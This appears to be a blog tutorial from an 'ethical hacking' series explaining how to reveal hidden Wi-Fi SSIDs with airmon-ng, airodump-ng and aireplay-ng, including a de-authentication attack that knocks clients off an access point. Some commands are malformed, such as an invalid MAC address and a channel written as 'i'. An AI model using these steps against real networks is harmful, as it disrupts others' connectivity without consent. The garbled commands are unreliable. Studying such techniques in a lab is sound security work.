>> Welcome all, to this series of Kali Linux for Ethical Hacking. This is second part and we’ll be seeing some of the techniques of uncovering hidden SSIDs.– Enabling Wireless Monitoring : airmon-ng– Discovering the APs (Access Points) : airodump-ng– Stay calm for Association or use de-authentication : aireplay-ng– Before start, make sure that you have eth0, lo, wlan0 are in action. (go to terminal and run ifconfig)– Let’s start to monitor on that wireless interface, run:

airmon-ng start wlan0

– After executing above command, we must get a new interface mon0 (monitor mode enabled)– Verify that both interfaces are up and running, run:

airmon-ng

– Watch for wlan0 and mon0, run:

airodump-ng mon0

– For monitoring all the APs that Kali Linux OS can find out.– From next step, note BSSID and ESSID, if there is any hidden SSID, then ESSID will be format like this : [Notice, it’s CH (Channel) and BSSID]– CTRL+C (press)

airodump-ng -c 1 mon0(Here, 1 is channel we notice/you notice. This value may differ.)

– After some time, you will notice changes and reveals SSID name.– If it takes lot of time to reveal SSID, we can follow de-authenticate process by cloning next terminal in Kali Linux.– Copy BSSID (MAC) of ch 1

aireplay-ng -0 2 -a 00:A1:B2:11:20:13:5T mon0

– It sends de-auth to broadcast

airodump-ng -c i mon0

– Wait– Go over to new Terminal

aireplay-ng -0 2 -a 00:A1:B2:11:20:13:5T mon0

– Finally you will get SSID in ESSID section. A quick note: This series is only for educational purpose. Practice this series in a lab, in a virtual/separate network and always avoid illegal activities. If you can, then support us in fighting the bad guys.See the other posts in this series: Ethical Hacking with Kali Linux - Part 1: ObjectiveEthical Hacking with Kali Linux - Part 3: Bypassing Mac Address Filter Ethical Hacking with Kali Linux - Part 4: Breaking WPA2 Wireless Ethical Hacking with Kali Linux - Part 5: Rogue Wireless Access Points Ethical Hacking with Kali Linux – Part 6: Nmap (Network Mapper) By: Bijay Acharya ( http://bijayacharya.com/
